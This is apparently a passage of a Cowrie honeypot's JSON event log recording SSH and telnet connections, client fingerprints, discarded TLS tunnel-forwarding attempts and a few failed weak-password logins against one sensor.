{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:59.010220Z","src_ip":"91.92.40.36","session":"0301ac6db20d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:59.159949Z","src_ip":"123.27.168.40","session":"cdff8bd6be29","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xab\\xcdh\\xc8\\xa4\\xd9\\x8b\\xa8\\x1d\\xaf$\\xf0Q\\xd7?7\\x97\\x94\\xb1\\xb5\\x83,\\xed\\x9a'\\xe7t\\x972\\xcc\\x82\\x03 \\xba&\\x1a\\xb3\\x1a\\xf2\\xc3\\xcd\\x1b\\xf5\\xb4i\\x12\\xc2D\\x85g5\\xfd\\xa3\\x05\\xd5nFu\\xc9\\x1am\\x95\\x82\\x8f&\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa4-W \\xdb\\xfa\\xe7\\xce\\xc3\\x84\\x96\\xff\\xc0V\\xc4\\x96$F\\xe0i%\\xfauI\\xb0\\xba\\xdfP\\xf5k\\xd8|\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xab\\xcdh\\xc8\\xa4\\xd9\\x8b\\xa8\\x1d\\xaf$\\xf0Q\\xd7?7\\x97\\x94\\xb1\\xb5\\x83,\\xed\\x9a'\\xe7t\\x972\\xcc\\x82\\x03 \\xba&\\x1a\\xb3\\x1a\\xf2\\xc3\\xcd\\x1b\\xf5\\xb4i\\x12\\xc2D\\x85g5\\xfd\\xa3\\x05\\xd5nFu\\xc9\\x1am\\x95\\x82\\x8f&\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa4-W \\xdb\\xfa\\xe7\\xce\\xc3\\x84\\x96\\xff\\xc0V\\xc4\\x96$F\\xe0i%\\xfauI\\xb0\\xba\\xdfP\\xf5k\\xd8|\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:59.162940Z","src_ip":"123.27.168.40","session":"cdff8bd6be29","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:59.414605Z","session":"cdff8bd6be29","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:59.662637Z","src_ip":"123.27.168.40","session":"cdff8bd6be29","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa1\\xfac\\x8e%\\xc5r\\x80\\x8d\\xec\\xdb7\\xc9\\xde~%6\\xa9\"2\\x08\\x1f\\xc2\\xd3\\xd0\\'c>R\\xdb\\x80\\xb6 \\x81G\\x80\\xa5N\\xa2\\xdeh\\xa1\\xf63\\xc7\\xb3\\xe39\\x8e$f\\xd3\\x06Rr\\xe8rD\\xb7\\x9f\\x9e^U\\xb4\\x14\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf1\\xfd\\xa3\\x12\\xc6\\xf9!A\\xeb\\x87+\\xe8\\xaew\\x11\\x8a`*C\\xa2\\xda#B_H\\x06\\xfe\\xaa\\'~\\xd7\\x1c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa1\\xfac\\x8e%\\xc5r\\x80\\x8d\\xec\\xdb7\\xc9\\xde~%6\\xa9\"2\\x08\\x1f\\xc2\\xd3\\xd0\\'c>R\\xdb\\x80\\xb6 \\x81G\\x80\\xa5N\\xa2\\xdeh\\xa1\\xf63\\xc7\\xb3\\xe39\\x8e$f\\xd3\\x06Rr\\xe8rD\\xb7\\x9f\\x9e^U\\xb4\\x14\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf1\\xfd\\xa3\\x12\\xc6\\xf9!A\\xeb\\x87+\\xe8\\xaew\\x11\\x8a`*C\\xa2\\xda#B_H\\x06\\xfe\\xaa\\'~\\xd7\\x1c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:37:59.665570Z","src_ip":"123.27.168.40","session":"cdff8bd6be29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:00.009042Z","src_ip":"123.27.168.40","session":"cdff8bd6be29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wo","password":"wo","message":"login attempt [wo/wo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:02.987670Z","src_ip":"91.92.40.36","session":"0301ac6db20d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":60418,"dst_ip":"159.203.135.109","dst_port":23,"session":"cffd1400e253","protocol":"telnet","message":"New connection: 172.81.62.90:60418 (159.203.135.109:23) [session: cffd1400e253]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:03.016505Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":60432,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe175dd77c24","protocol":"telnet","message":"New connection: 172.81.62.90:60432 (159.203.135.109:23) [session: fe175dd77c24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:04.539254Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":37854,"dst_ip":"159.203.135.109","dst_port":22,"session":"b84ca4f16787","protocol":"ssh","message":"New connection: 91.92.40.36:37854 (159.203.135.109:22) [session: b84ca4f16787]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:04.728526Z"}
{"eventid":"cowrie.session.closed","duration":"6.8","message":"Connection lost after 6.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:05.174830Z","src_ip":"91.92.40.36","session":"0301ac6db20d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:05.646086Z","src_ip":"91.92.40.36","session":"b84ca4f16787","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:05.650159Z","src_ip":"91.92.40.36","session":"b84ca4f16787","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"p@ssword","message":"login attempt [ubuntu/p@ssword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:10.979139Z","src_ip":"91.92.40.36","session":"b84ca4f16787","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":52836,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb1d6b47b264","protocol":"ssh","message":"New connection: 91.92.40.36:52836 (159.203.135.109:22) [session: bb1d6b47b264]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:12.981730Z"}
{"eventid":"cowrie.session.closed","duration":"8.7","message":"Connection lost after 8.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:13.422713Z","src_ip":"91.92.40.36","session":"b84ca4f16787","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:13.962329Z","src_ip":"91.92.40.36","session":"bb1d6b47b264","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:13.965736Z","src_ip":"91.92.40.36","session":"bb1d6b47b264","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":55577,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebd044048ca8","protocol":"ssh","message":"New connection: 113.164.152.20:55577 (10.17.0.5:22) [session: ebd044048ca8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:14.395781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:38:14.400286Z","src_ip":"113.164.152.20","session":"ebd044048ca8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"